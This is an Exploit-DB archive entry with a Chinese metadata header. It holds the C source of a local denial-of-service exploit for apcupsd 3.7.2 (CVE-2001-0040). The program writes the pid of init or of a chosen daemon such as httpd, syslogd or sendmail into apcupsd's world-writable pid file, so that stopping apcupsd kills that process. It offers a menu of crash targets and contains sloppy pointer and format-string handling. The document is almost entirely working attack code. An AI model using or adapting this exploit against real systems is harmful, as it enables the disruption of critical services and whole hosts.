标题: APC UPS 3.7.2 - 'apcupsd' Local Denial of Service EDB-ID: 251 CVE: 2001-0040 类型: DOS 平台: LINUX 发布日期: 2001-01-15 漏洞利用脚本: /* Local Denial of Service for any linux box running APCUPSD v3.7.2 
 *
 * APCUPSD has his pid file world writeable, therefore it is possible
 * to let it kill another pid and create a denial of service against any
 * running daemon. (when the apcupsd is stopped, for example)
 *
 * Bug discovered by: Mattias Dartsch <matze@joonix.de>
 * Exploit code by: The Itch / BsE 
 *
 * Greets fly out to: Tasc, C-Murdah, Calimonk, Zer0, Tozz, Pyra, 
 * Shadowlady, Wildcoyote, Lucipher, Zephyr, ph33r-the-b33r and aiko
 */
 
#include <stdio.h>

#define PIDFILE "/var/run/apcupsd.pid"

/* pid file definition (processes that you can choose from to crash)
 * these pid files and their paths came from a redhat distribution
 */

#define HTTPDPID "/var/run/httpd.pid"
#define SYSLOGDPID "/var/run/syslogd.pid"
#define CRONDPID "/var/run/crond.pid"
#define KLOGDPID "/var/run/klogd.pid"
#define INETDPID "/var/run/inetd.pid"
#define IDENTDPID "/var/run/identd.pid"
#define SENDMAILPID "/var/run/sendmail.pid"

int dosusage(char *apcfilename)
{
 printf("----------------------------\n");
 printf("\nUsage: %s <number>\n", apcfilename);
 printf("where number is either:\n");
 printf("1. crash linux\n");
 printf("2. crash httpd\n");
 printf("3. crash klogd\n");
 printf("4. crash crond\n");
 printf("5. crash syslogd\n");
 printf("6. crash inetd\n");
 printf("7. crash indentd\n");
 printf("8. crash sendmaild\n\n"); 
 return 0;
}

int main(int argc, char **argv)
{
 FILE *apcpid;
 FILE *dospidfile;
 char *dospid[5];
 int dosarg;

 printf("\nAPCUPSD can be used to crash any linux distribution\n");
 printf("or any other pid running at that moment when apcupsd is\n");
  printf("stopped or when it gets normally killed using its pid.\n");
 printf("\nCoded by The Itch / Bse\n\n");

 if(argc < 2) { dosusage(argv[0]); exit(0); }
 if(atoi(argv[1]) > 8) { dosusage(argv[0]); exit(0); }
 dosarg = atoi(argv[1]);

 apcpid = fopen(PIDFILE, "r");
 if(!apcpid)
 {
  printf("%s does not exist\n\n", PIDFILE);
  exit(1);
 }
 fclose(apcpid);

 apcpid = fopen(PIDFILE, "w");

 if(dosarg == 1)
 {
  /* crash entire linux */
  fprintf(apcpid, "1");
 }
 if(dosarg == 2)
 {
  /* crash httpd */
  dospidfile = fopen(HTTPDPID, "r");
  fgets(dospid[4], 4, dospidfile);  
  fclose(dospidfile);    
  fprintf(apcpid, dospid[4]);
 }
 if(dosarg == 3)
 {
  /* crash klogd */
  dospidfile = fopen(KLOGDPID, "r");
  fgets(dospid[4], 4, dospidfile);
  fclose(dospidfile);
  fprintf(apcpid, dospid[4]);
 }
 if(dosarg == 4)
 {
  /* crash crond */
  dospidfile = fopen(CRONDPID, "r");
  fgets(dospid[4], 4, dospidfile);
  fclose(dospidfile);
  fprintf(apcpid, dospid[4]);
 }
 if(dosarg == 5)
 {
  /* crash syslogd */
  dospidfile = fopen(SYSLOGDPID, "r");
  fgets(dospid[4], 4, dospidfile);
  fclose(dospidfile);
  fprintf(apcpid, dospid[4]);
 }
 if(dosarg == 6)
 {
  /* crash inetd */
  dospidfile = fopen(INETDPID, "r");
  fgets(dospid[4], 4, dospidfile);
  fclose(dospidfile);
  fprintf(apcpid, dospid[4]);
 }
 if(dosarg == 7)
 {
  /* crash identd */
  dospidfile = fopen(IDENTDPID, "r");
  fgets(dospid[4], 4, dospidfile);
  fclose(dospidfile);
  fprintf(apcpid, dospid[4]);
 }
 if(dosarg == 8)
 {
  /* crash sendmail */
  dospidfile = fopen(SENDMAILPID, "r");
  fgets(dospid[4], 4, dospidfile);
  fclose(dospidfile);
  fprintf(apcpid, dospid[4]);
 }
 
 fclose(apcpid);
 printf("DoS activated, its now a matter of time until apcupsd gets\n");
 printf("restarted or stopped....\n\n");
 
 return 0;
}



// milw0rm.com [2001-01-15] URL: https://www.exploit-db.com/exploits/251